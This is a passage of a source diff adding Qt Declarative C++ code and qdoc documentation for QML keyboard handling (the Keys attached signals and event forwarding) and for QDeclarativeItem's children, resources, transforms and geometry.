+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit7Pressed(KeyEvent event)
+
+ This handler is called when the digit '7' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit8Pressed(KeyEvent event)
+
+ This handler is called when the digit '8' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit9Pressed(KeyEvent event)
+
+ This handler is called when the digit '9' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onLeftPressed(KeyEvent event)
+
+ This handler is called when the Left arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onRightPressed(KeyEvent event)
+
+ This handler is called when the Right arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onUpPressed(KeyEvent event)
+
+ This handler is called when the Up arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDownPressed(KeyEvent event)
+
+ This handler is called when the Down arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onTabPressed(KeyEvent event)
+
+ This handler is called when the Tab key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onBacktabPressed(KeyEvent event)
+
+ This handler is called when the Shift+Tab key combination (Backtab) has
+ been pressed. The \a event parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onAsteriskPressed(KeyEvent event)
+
+ This handler is called when the Asterisk '*' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onEscapePressed(KeyEvent event)
+
+ This handler is called when the Escape key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onReturnPressed(KeyEvent event)
+
+ This handler is called when the Return key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onEnterPressed(KeyEvent event)
+
+ This handler is called when the Enter key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDeletePressed(KeyEvent event)
+
+ This handler is called when the Delete key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onSpacePressed(KeyEvent event)
+
+ This handler is called when the Space key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onBackPressed(KeyEvent event)
+
+ This handler is called when the Back key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onCancelPressed(KeyEvent event)
+
+ This handler is called when the Cancel key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onSelectPressed(KeyEvent event)
+
+ This handler is called when the Select key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onYesPressed(KeyEvent event)
+
+ This handler is called when the Yes key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onNoPressed(KeyEvent event)
+
+ This handler is called when the No key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onContext1Pressed(KeyEvent event)
+
+ This handler is called when the Context1 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onContext2Pressed(KeyEvent event)
+
+ This handler is called when the Context2 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onContext3Pressed(KeyEvent event)
+
+ This handler is called when the Context3 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onContext4Pressed(KeyEvent event)
+
+ This handler is called when the Context4 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onCallPressed(KeyEvent event)
+
+ This handler is called when the Call key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onHangupPressed(KeyEvent event)
+
+ This handler is called when the Hangup key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onFlipPressed(KeyEvent event)
+
+ This handler is called when the Flip key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onMenuPressed(KeyEvent event)
+
+ This handler is called when the Menu key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onVolumeUpPressed(KeyEvent event)
+
+ This handler is called when the VolumeUp key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onVolumeDownPressed(KeyEvent event)
+
+ This handler is called when the VolumeDown key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+const QDeclarativeKeysAttached::SigMap QDeclarativeKeysAttached::sigMap[] = {
+ { Qt::Key_Left, "leftPressed" },
+ { Qt::Key_Right, "rightPressed" },
+ { Qt::Key_Up, "upPressed" },
+ { Qt::Key_Down, "downPressed" },
+ { Qt::Key_Tab, "tabPressed" },
+ { Qt::Key_Backtab, "backtabPressed" },
+ { Qt::Key_Asterisk, "asteriskPressed" },
+ { Qt::Key_NumberSign, "numberSignPressed" },
+ { Qt::Key_Escape, "escapePressed" },
+ { Qt::Key_Return, "returnPressed" },
+ { Qt::Key_Enter, "enterPressed" },
+ { Qt::Key_Delete, "deletePressed" },
+ { Qt::Key_Space, "spacePressed" },
+ { Qt::Key_Back, "backPressed" },
+ { Qt::Key_Cancel, "cancelPressed" },
+ { Qt::Key_Select, "selectPressed" },
+ { Qt::Key_Yes, "yesPressed" },
+ { Qt::Key_No, "noPressed" },
+ { Qt::Key_Context1, "context1Pressed" },
+ { Qt::Key_Context2, "context2Pressed" },
+ { Qt::Key_Context3, "context3Pressed" },
+ { Qt::Key_Context4, "context4Pressed" },
+ { Qt::Key_Call, "callPressed" },
+ { Qt::Key_Hangup, "hangupPressed" },
+ { Qt::Key_Flip, "flipPressed" },
+ { Qt::Key_Menu, "menuPressed" },
+ { Qt::Key_VolumeUp, "volumeUpPressed" },
+ { Qt::Key_VolumeDown, "volumeDownPressed" },
+ { 0, 0 }
+};
+
+bool QDeclarativeKeysAttachedPrivate::isConnected(const char *signalName)
+{
+ return isSignalConnected(signalIndex(signalName));
+}
+
+QDeclarativeKeysAttached::QDeclarativeKeysAttached(QObject *parent)
+: QObject(*(new QDeclarativeKeysAttachedPrivate), parent),
+ QDeclarativeItemKeyFilter(qobject_cast<QDeclarativeItem*>(parent))
+{
+ Q_D(QDeclarativeKeysAttached);
+ m_processPost = false;
+ d->item = qobject_cast<QDeclarativeItem*>(parent);
+}
+
+QDeclarativeKeysAttached::~QDeclarativeKeysAttached()
+{
+}
+
+QDeclarativeKeysAttached::Priority QDeclarativeKeysAttached::priority() const
+{
+ return m_processPost ? AfterItem : BeforeItem;
+}
+
+void QDeclarativeKeysAttached::setPriority(Priority order)
+{
+ bool processPost = order == AfterItem;
+ if (processPost != m_processPost) {
+ m_processPost = processPost;
+ emit priorityChanged();
+ }
+}
+
+void QDeclarativeKeysAttached::componentComplete()
+{
+ Q_D(QDeclarativeKeysAttached);
+ if (d->item) {
+ for (int ii = 0; ii < d->targets.count(); ++ii) {
+ QGraphicsItem *targetItem = d->finalFocusProxy(d->targets.at(ii));
+ if (targetItem && (targetItem->flags() & QGraphicsItem::ItemAcceptsInputMethod)) {
+ d->item->setFlag(QGraphicsItem::ItemAcceptsInputMethod);
+ break;
+ }
+ }
+ }
+}
+
+void QDeclarativeKeysAttached::keyPressed(QKeyEvent *event, bool post)
+{
+ Q_D(QDeclarativeKeysAttached);
+ if (post != m_processPost || !d->enabled || d->inPress) {
+ event->ignore();
+ QDeclarativeItemKeyFilter::keyPressed(event, post);
+ return;
+ }
+
+ // first process forwards
+ if (d->item && d->item->scene()) {
+ d->inPress = true;
+ for (int ii = 0; ii < d->targets.count(); ++ii) {
+ QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii));
+ if (i && i->isVisible()) {
+ d->item->scene()->sendEvent(i, event);
+ if (event->isAccepted()) {
+ d->inPress = false;
+ return;
+ }
+ }
+ }
+ d->inPress = false;
+ }
+
+ QDeclarativeKeyEvent ke(*event);
+ QByteArray keySignal = keyToSignal(event->key());
+ if (!keySignal.isEmpty()) {
+ keySignal += "(QDeclarativeKeyEvent*)";
+ if (d->isConnected(keySignal)) {
+ // If we specifically handle a key then default to accepted
+ ke.setAccepted(true);
+ int idx = QDeclarativeKeysAttached::staticMetaObject.indexOfSignal(keySignal);
+ metaObject()->method(idx).invoke(this, Qt::DirectConnection, Q_ARG(QDeclarativeKeyEvent*, &ke));
+ }
+ }
+ if (!ke.isAccepted())
+ emit pressed(&ke);
+ event->setAccepted(ke.isAccepted());
+
+ if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyPressed(event, post);
+}
+
+void QDeclarativeKeysAttached::keyReleased(QKeyEvent *event, bool post)
+{
+ Q_D(QDeclarativeKeysAttached);
+ if (post != m_processPost || !d->enabled || d->inRelease) {
+ event->ignore();
+ QDeclarativeItemKeyFilter::keyReleased(event, post);
+ return;
+ }
+
+ if (d->item && d->item->scene()) {
+ d->inRelease = true;
+ for (int ii = 0; ii < d->targets.count(); ++ii) {
+ QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii));
+ if (i && i->isVisible()) {
+ d->item->scene()->sendEvent(i, event);
+ if (event->isAccepted()) {
+ d->inRelease = false;
+ return;
+ }
+ }
+ }
+ d->inRelease = false;
+ }
+
+ QDeclarativeKeyEvent ke(*event);
+ emit released(&ke);
+ event->setAccepted(ke.isAccepted());
+
+ if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post);
+}
+
+void QDeclarativeKeysAttached::inputMethodEvent(QInputMethodEvent *event, bool post)
+{
+ Q_D(QDeclarativeKeysAttached);
+ if (post == m_processPost && d->item && !d->inIM && d->item->scene()) {
+ d->inIM = true;
+ for (int ii = 0; ii < d->targets.count(); ++ii) {
+ QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii));
+ if (i && i->isVisible() && (i->flags() & QGraphicsItem::ItemAcceptsInputMethod)) {
+ d->item->scene()->sendEvent(i, event);
+ if (event->isAccepted()) {
+ d->imeItem = i;
+ d->inIM = false;
+ return;
+ }
+ }
+ }
+ d->inIM = false;
+ }
+ if (!event->isAccepted()) QDeclarativeItemKeyFilter::inputMethodEvent(event, post);
+}
+
+class QDeclarativeItemAccessor : public QGraphicsItem
+{
+public:
+ QVariant doInputMethodQuery(Qt::InputMethodQuery query) const {
+ return QGraphicsItem::inputMethodQuery(query);
+ }
+};
+
+QVariant QDeclarativeKeysAttached::inputMethodQuery(Qt::InputMethodQuery query) const
+{
+ Q_D(const QDeclarativeKeysAttached);
+ if (d->item) {
+ for (int ii = 0; ii < d->targets.count(); ++ii) {
+ QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii));
+ if (i && i->isVisible() && (i->flags() & QGraphicsItem::ItemAcceptsInputMethod) && i == d->imeItem) { //### how robust is i == d->imeItem check?
+ QVariant v = static_cast<QDeclarativeItemAccessor *>(i)->doInputMethodQuery(query);
+ if (v.userType() == QVariant::RectF)
+ v = d->item->mapRectFromItem(i, v.toRectF()); //### cost?
+ return v;
+ }
+ }
+ }
+ return QDeclarativeItemKeyFilter::inputMethodQuery(query);
+}
+
+QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObject *obj)
+{
+ return new QDeclarativeKeysAttached(obj);
+}
+
+/*!
+ \class QDeclarativeItem
+ \since 4.7
+ \brief The QDeclarativeItem class provides the most basic of all visual items in QML.
+
+ All visual items in Qt Declarative inherit from QDeclarativeItem. Although QDeclarativeItem
+ has no visual appearance, it defines all the properties that are
+ common across visual items - such as the x and y position, the
+ width and height, \l {anchor-layout}{anchoring} and key handling.
+
+ You can subclass QDeclarativeItem to provide your own custom visual item that inherits
+ these features. Note that, because it does not draw anything, QDeclarativeItem sets the
+ QGraphicsItem::ItemHasNoContents flag. If you subclass QDeclarativeItem to create a visual
+ item, you will need to unset this flag.
+
+*/
+
+/*!
+ \qmlclass Item QDeclarativeItem
+ \ingroup qml-basic-visual-elements
+ \since 4.7
+ \brief The Item is the most basic of all visual items in QML.
+
+ All visual items in Qt Declarative inherit from Item. Although Item
+ has no visual appearance, it defines all the properties that are
+ common across visual items - such as the x and y position, the
+ width and height, \l {anchor-layout}{anchoring} and key handling.
+
+ Item is also useful for grouping items together.
+
+ \qml
+ Item {
+ Image {
+ source: "tile.png"
+ }
+ Image {
+ x: 80
+ width: 100
+ height: 100
+ source: "tile.png"
+ }
+ Image {
+ x: 190
+ width: 100
+ height: 100
+ fillMode: Image.Tile
+ source: "tile.png"
+ }
+ }
+ \endqml
+
+
+ \section1 Key Handling
+
+ Key handling is available to all Item-based visual elements via the \l {Keys}{Keys}
+ attached property. The \e Keys attached property provides basic handlers such
+ as \l {Keys::onPressed}{onPressed} and \l {Keys::onReleased}{onReleased},
+ as well as handlers for specific keys, such as
+ \l {Keys::onCancelPressed}{onCancelPressed}. The example below
+ assigns \l {qmlfocus}{focus} to the item and handles
+ the Left key via the general \e onPressed handler and the Select key via the
+ onSelectPressed handler:
+
+ \qml
+ Item {
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_Left) {
+ console.log("move left");
+ event.accepted = true;
+ }
+ }
+ Keys.onSelectPressed: console.log("Selected");
+ }
+ \endqml
+
+ See the \l {Keys}{Keys} attached property for detailed documentation.
+
+ \section1 Layout Mirroring
+
+ Item layouts can be mirrored using the \l {LayoutMirroring}{LayoutMirroring} attached property.
+
+*/
+
+/*!
+ \fn void QDeclarativeItem::childrenRectChanged(const QRectF &)
+ \internal
+*/
+
+/*!
+ \fn void QDeclarativeItem::baselineOffsetChanged(qreal)
+ \internal
+*/
+
+/*!
+ \fn void QDeclarativeItem::stateChanged(const QString &state)
+ \internal
+*/
+
+/*!
+ \fn void QDeclarativeItem::parentChanged(QDeclarativeItem *)
+ \internal
+*/
+
+/*!
+ \fn void QDeclarativeItem::smoothChanged(bool)
+ \internal
+*/
+
+/*!
+ \fn void QDeclarativeItem::clipChanged(bool)
+ \internal
+*/
+
+/*! \fn void QDeclarativeItem::transformOriginChanged(TransformOrigin)
+ \internal
+*/
+
+/*!
+ \fn void QDeclarativeItem::focusChanged(bool)
+ \internal
+*/
+
+/*!
+ \fn void QDeclarativeItem::activeFocusChanged(bool)
+ \internal
+*/
+
+// ### Must fix
+struct RegisterAnchorLineAtStartup {
+ RegisterAnchorLineAtStartup() {
+ qRegisterMetaType<QDeclarativeAnchorLine>("QDeclarativeAnchorLine");
+ }
+};
+static RegisterAnchorLineAtStartup registerAnchorLineAtStartup;
+
+
+/*!
+ \fn QDeclarativeItem::QDeclarativeItem(QDeclarativeItem *parent)
+
+ Constructs a QDeclarativeItem with the given \a parent.
+*/
+QDeclarativeItem::QDeclarativeItem(QDeclarativeItem* parent)
+ : QGraphicsObject(*(new QDeclarativeItemPrivate), parent, 0)
+{
+ Q_D(QDeclarativeItem);
+ d->init(parent);
+}
+
+/*! \internal
+*/
+QDeclarativeItem::QDeclarativeItem(QDeclarativeItemPrivate &dd, QDeclarativeItem *parent)
+ : QGraphicsObject(dd, parent, 0)
+{
+ Q_D(QDeclarativeItem);
+ d->init(parent);
+}
+
+/*!
+ Destroys the QDeclarativeItem.
+*/
+QDeclarativeItem::~QDeclarativeItem()
+{
+ Q_D(QDeclarativeItem);
+ for (int ii = 0; ii < d->changeListeners.count(); ++ii) {
+ QDeclarativeAnchorsPrivate *anchor = d->changeListeners.at(ii).listener->anchorPrivate();
+ if (anchor)
+ anchor->clearItem(this);
+ }
+ if (!d->parent || (parentItem() && !parentItem()->QGraphicsItem::d_ptr->inDestructor)) {
+ for (int ii = 0; ii < d->changeListeners.count(); ++ii) {
+ QDeclarativeAnchorsPrivate *anchor = d->changeListeners.at(ii).listener->anchorPrivate();
+ if (anchor && anchor->item && anchor->item->parentItem() != this) //child will be deleted anyway
+ anchor->updateOnComplete();
+ }
+ }
+ for(int ii = 0; ii < d->changeListeners.count(); ++ii) {
+ const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii);
+ if (change.types & QDeclarativeItemPrivate::Destroyed)
+ change.listener->itemDestroyed(this);
+ }
+ d->changeListeners.clear();
+ delete d->_anchorLines; d->_anchorLines = 0;
+ delete d->_anchors; d->_anchors = 0;
+ delete d->_stateGroup; d->_stateGroup = 0;
+ delete d->_contents; d->_contents = 0;
+}
+
+/*!
+ \qmlproperty enumeration Item::transformOrigin
+ This property holds the origin point around which scale and rotation transform.
+
+ Nine transform origins are available, as shown in the image below.
+
+ \image declarative-transformorigin.png
+
+ This example rotates an image around its bottom-right corner.
+ \qml
+ Image {
+ source: "myimage.png"
+ transformOrigin: Item.BottomRight
+ rotation: 45
+ }
+ \endqml
+
+ The default transform origin is \c Item.Center.
+
+ To set an arbitrary transform origin point use the \l Scale or \l Rotation
+ transform elements.
+*/
+
+/*!
+ \qmlproperty Item Item::parent
+ This property holds the parent of the item.
+*/
+
+/*!
+ \property QDeclarativeItem::parent
+ This property holds the parent of the item.
+*/
+void QDeclarativeItem::setParentItem(QDeclarativeItem *parent)
+{
+ QGraphicsObject::setParentItem(parent);
+}
+
+/*!
+ Returns the QDeclarativeItem parent of this item.
+*/
+QDeclarativeItem *QDeclarativeItem::parentItem() const
+{
+ return qobject_cast<QDeclarativeItem *>(QGraphicsObject::parentItem());
+}
+
+/*!
+ \qmlproperty real Item::childrenRect.x
+ \qmlproperty real Item::childrenRect.y
+ \qmlproperty real Item::childrenRect.width
+ \qmlproperty real Item::childrenRect.height
+
+ The childrenRect properties allow an item access to the geometry of its
+ children. This property is useful if you have an item that needs to be
+ sized to fit its children.
+*/
+
+
+/*!
+ \qmlproperty list<Item> Item::children
+ \qmlproperty list<Object> Item::resources
+
+ The children property contains the list of visual children of this item.
+ The resources property contains non-visual resources that you want to
+ reference by name.
+
+ Generally you can rely on Item's default property to handle all this for
+ you, but it can come in handy in some cases.
+
+ \qml
+ Item {
+ children: [
+ Text {},
+ Rectangle {}
+ ]
+ resources: [
+ Component {
+ id: myComponent
+ Text {}
+ }
+ ]
+ }
+ \endqml
+*/
+
+/*!
+ Returns true if construction of the QML component is complete; otherwise
+ returns false.
+
+ It is often desirable to delay some processing until the component is
+ completed.
+
+ \sa componentComplete()
+*/
+bool QDeclarativeItem::isComponentComplete() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->componentComplete;
+}
+
+void QDeclarativeItemPrivate::data_append(QDeclarativeListProperty<QObject> *prop, QObject *o)
+{
+ if (!o)
+ return;
+
+ QDeclarativeItem *that = static_cast<QDeclarativeItem *>(prop->object);
+
+ // This test is measurably (albeit only slightly) faster than qobject_cast<>()
+ const QMetaObject *mo = o->metaObject();
+ while (mo && mo != &QGraphicsObject::staticMetaObject) mo = mo->d.superdata;
+
+ if (mo) {
+ QGraphicsObject *graphicsObject = static_cast<QGraphicsObject *>(o);
+ QDeclarativeItemPrivate *contentItemPrivate = static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(graphicsObject));
+ if (contentItemPrivate->componentComplete) {
+ graphicsObject->setParentItem(that);
+ } else {
+ contentItemPrivate->setParentItemHelper(that, /*newParentVariant=*/0, /*thisPointerVariant=*/0);
+ }
+ } else {
+ o->setParent(that);
+ }
+}
+
+static inline int children_count_helper(QDeclarativeListProperty<QObject> *prop)
+{
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(static_cast<QGraphicsObject *>(prop->object));
+ return d->children.count();
+}
+
+static inline QObject *children_at_helper(QDeclarativeListProperty<QObject> *prop, int index)
+{
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(static_cast<QGraphicsObject *>(prop->object));
+ if (index >= 0 && index < d->children.count())
+ return d->children.at(index)->toGraphicsObject();
+ else
+ return 0;
+}
+
+static inline void children_clear_helper(QDeclarativeListProperty<QObject> *prop)
+{
+ QDeclarativeItemPrivate *d = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(static_cast<QGraphicsObject *>(prop->object)));
+ int childCount = d->children.count();
+ if (d->componentComplete) {
+ for (int index = 0 ;index < childCount; index++)
+ d->children.at(0)->setParentItem(0);
+ } else {
+ for (int index = 0 ;index < childCount; index++)
+ QGraphicsItemPrivate::get(d->children.at(0))->setParentItemHelper(0, /*newParentVariant=*/0, /*thisPointerVariant=*/0);
+ }
+}
+
+int QDeclarativeItemPrivate::data_count(QDeclarativeListProperty<QObject> *prop)
+{
+ return resources_count(prop) + children_count_helper(prop);
+}
+
+QObject *QDeclarativeItemPrivate::data_at(QDeclarativeListProperty<QObject> *prop, int i)
+{
+ int resourcesCount = resources_count(prop);
+ if (i < resourcesCount)
+ return resources_at(prop, i);
+ const int j = i - resourcesCount;
+ if (j < children_count_helper(prop))
+ return children_at_helper(prop, j);
+ return 0;
+}
+
+void QDeclarativeItemPrivate::data_clear(QDeclarativeListProperty<QObject> *prop)
+{
+ resources_clear(prop);
+ children_clear_helper(prop);
+}
+
+QObject *QDeclarativeItemPrivate::resources_at(QDeclarativeListProperty<QObject> *prop, int index)
+{
+ const QObjectList children = prop->object->children();
+ if (index < children.count())
+ return children.at(index);
+ else
+ return 0;
+}
+
+void QDeclarativeItemPrivate::resources_append(QDeclarativeListProperty<QObject> *prop, QObject *o)
+{
+ o->setParent(prop->object);
+}
+
+int QDeclarativeItemPrivate::resources_count(QDeclarativeListProperty<QObject> *prop)
+{
+ return prop->object->children().count();
+}
+
+void QDeclarativeItemPrivate::resources_clear(QDeclarativeListProperty<QObject> *prop)
+{
+ const QObjectList children = prop->object->children();
+ for (int index = 0; index < children.count(); index++)
+ children.at(index)->setParent(0);
+}
+
+int QDeclarativeItemPrivate::transform_count(QDeclarativeListProperty<QGraphicsTransform> *list)
+{
+ QGraphicsObject *object = qobject_cast<QGraphicsObject *>(list->object);
+ if (object) {
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(object);
+ return d->transformData ? d->transformData->graphicsTransforms.size() : 0;
+ } else {
+ return 0;
+ }
+}
+
+void QDeclarativeItemPrivate::transform_append(QDeclarativeListProperty<QGraphicsTransform> *list, QGraphicsTransform *item)
+{
+ QGraphicsObject *object = qobject_cast<QGraphicsObject *>(list->object);
+ if (object && item) // QGraphicsItem applies the list in the wrong order, so we prepend.
+ QGraphicsItemPrivate::get(object)->prependGraphicsTransform(item);
+}
+
+QGraphicsTransform *QDeclarativeItemPrivate::transform_at(QDeclarativeListProperty<QGraphicsTransform> *list, int idx)
+{
+ QGraphicsObject *object = qobject_cast<QGraphicsObject *>(list->object);
+ if (object) {
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(object);
+ if (!d->transformData)
+ return 0;
+ return d->transformData->graphicsTransforms.at(idx);
+ } else {
+ return 0;
+ }
+}
+
+void QDeclarativeItemPrivate::transform_clear(QDeclarativeListProperty<QGraphicsTransform> *list)
+{
+ QGraphicsObject *object = qobject_cast<QGraphicsObject *>(list->object);
+ if (object) {
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(object);
+ if (!d->transformData)
+ return;
+ object->setTransformations(QList<QGraphicsTransform *>());
+ }
+}
+
+void QDeclarativeItemPrivate::parentProperty(QObject *o, void *rv, QDeclarativeNotifierEndpoint *e)
+{
+ QDeclarativeItem *item = static_cast<QDeclarativeItem*>(o);
+ if (e)
+ e->connect(&item->d_func()->parentNotifier);
+ *((QDeclarativeItem **)rv) = item->parentItem();
+}
+
+/*!
+ \qmlproperty list<Object> Item::data
+ \default
+
+ The data property allows you to freely mix visual children and resources
+ in an item. If you assign a visual item to the data list it becomes
+ a child and if you assign any other object type, it is added as a resource.
+
+ So you can write:
+ \qml
+ Item {
+ Text {}
+ Rectangle {}
+ Timer {}
+ }
+ \endqml
+
+ instead of:
+ \qml
+ Item {
+ children: [
+ Text {},
+ Rectangle {}
+ ]
+ resources: [
+ Timer {}
+ ]
+ }
+ \endqml
+
+ data is a behind-the-scenes property: you should never need to explicitly
+ specify it.
+ */
+
+QDeclarativeListProperty<QObject> QDeclarativeItemPrivate::data()
+{
+ return QDeclarativeListProperty<QObject>(q_func(), 0, QDeclarativeItemPrivate::data_append,
+ QDeclarativeItemPrivate::data_count,
+ QDeclarativeItemPrivate::data_at,
+ QDeclarativeItemPrivate::data_clear
+ );
+}
+
+/*!
+ \property QDeclarativeItem::childrenRect
+ \brief The geometry of an item's children.
+
+ This property holds the (collective) position and size of the item's children.
+*/
+QRectF QDeclarativeItem::childrenRect()
+{
+ Q_D(QDeclarativeItem);
+ if (!d->_contents) {
+ d->_contents = new QDeclarativeContents(this);
+ if (d->componentComplete)
+ d->_contents->complete();
+ }
+ return d->_contents->rectF();
+}
+
+bool QDeclarativeItem::clip() const
+{
+ return flags() & ItemClipsChildrenToShape;
+}
+
+void QDeclarativeItem::setClip(bool c)
+{
+ if (clip() == c)
+ return;
+ setFlag(ItemClipsChildrenToShape, c);
+ emit clipChanged(c);
+}
+
+/*!
+ \qmlproperty real Item::x
+ \qmlproperty real Item::y
+ \qmlproperty real Item::width
+ \qmlproperty real Item::height
+
+ Defines the item's position and size relative to its parent.
+
+ \qml
+ Item { x: 100; y: 100; width: 100; height: 100 }
+ \endqml
+ */
+
+/*!
+ \qmlproperty real Item::z
+
+ Sets the stacking order of sibling items. By default the stacking order is 0.
+
+ Items with a higher stacking value are drawn on top of siblings with a
+ lower stacking order. Items with the same stacking value are drawn
+ bottom up in the order they appear. Items with a negative stacking
+ value are drawn under their parent's content.
+
+ The following example shows the various effects of stacking order.
+
+ \table
+ \row
+ \o \image declarative-item_stacking1.png
+ \o Same \c z - later children above earlier children:
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ }
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_stacking2.png
+ \o Higher \c z on top:
+ \qml
+ Item {
+ Rectangle {
+ z: 1
+ color: "red"
+ width: 100; height: 100
+ }
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_stacking3.png
+ \o Same \c z - children above parents:
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_stacking4.png
+ \o Lower \c z below:
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ z: -1
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \endtable
+ */
+
+/*!
+ \qmlproperty bool Item::visible
+
+ This property holds whether the item is visible. By default this is true.
+
+ Setting this property directly affects the \c visible value of child
+ items. When set to \c false, the \c visible values of all child items also
+ become \c false. When set to \c true, the \c visible values of child items
+ are returned to \c true, unless they have explicitly been set to \c false.
+
+ (Because of this flow-on behavior, using the \c visible property may not
+ have the intended effect if a property binding should only respond to
+ explicit property changes. In such cases it may be better to use the
+ \l opacity property instead.)
+
+ Setting this property to \c false automatically causes \l focus to be set
+ to \c false, and this item will longer receive mouse and keyboard events.
+ (In contrast, setting the \l opacity to 0 does not affect the \l focus
+ property and the receiving of key events.)
+
+ \note This property's value is only affected by changes to this property or
+ the parent's \c visible property. It does not change, for example, if this
+ item moves off-screen, or if the \l opacity changes to 0.
+*/
+
+
+/*!
+ This function is called to handle this item's changes in
+ geometry from \a oldGeometry to \a newGeometry. If the two
+ geometries are the same, it doesn't do anything.
+ */
+void QDeclarativeItem::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ Q_D(QDeclarativeItem);
+
+ if (d->_anchors)
+ d->_anchors->d_func()->updateMe();
+
+ if (transformOrigin() != QDeclarativeItem::TopLeft
+ && (newGeometry.width() != oldGeometry.width() || newGeometry.height() != oldGeometry.height())) {
+ if (d->transformData) {
+ QPointF origin = d->computeTransformOrigin();
+ if (transformOriginPoint() != origin)
+ setTransformOriginPoint(origin);
+ } else {
+ d->transformOriginDirty = true;
+ }
+ }
+
+ for(int ii = 0; ii < d->changeListeners.count(); ++ii) {
+ const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii);
+ if (change.types & QDeclarativeItemPrivate::Geometry)
+ change.listener->itemGeometryChanged(this, newGeometry, oldGeometry);
+ }
+
+ if (newGeometry.width() != oldGeometry.width())
+ emit widthChanged();
+ if (newGeometry.height() != oldGeometry.height())
+ emit heightChanged();
+}
+
+void QDeclarativeItemPrivate::removeItemChangeListener(QDeclarativeItemChangeListener *listener, ChangeTypes types)
+{
+ ChangeListener change(listener, types);
+ changeListeners.removeOne(change);
+}
+
+/*! \internal */
+void QDeclarativeItem::keyPressEvent(QKeyEvent *event)
+{
+ Q_D(QDeclarativeItem);
+ keyPressPreHandler(event);
+ if (event->isAccepted())
+ return;
+ if (d->keyHandler)
+ d->keyHandler->keyPressed(event, true);
+ else
+ event->ignore();
+}
+
+/*! \internal */
+void QDeclarativeItem::keyReleaseEvent(QKeyEvent *event)
+{
+ Q_D(QDeclarativeItem);
+ keyReleasePreHandler(event);
+ if (event->isAccepted())
+ return;
+ if (d->keyHandler)
+ d->keyHandler->keyReleased(event, true);
+ else
+ event->ignore();
+}
+
+/*! \internal */
+void QDeclarativeItem::inputMethodEvent(QInputMethodEvent *event)
+{
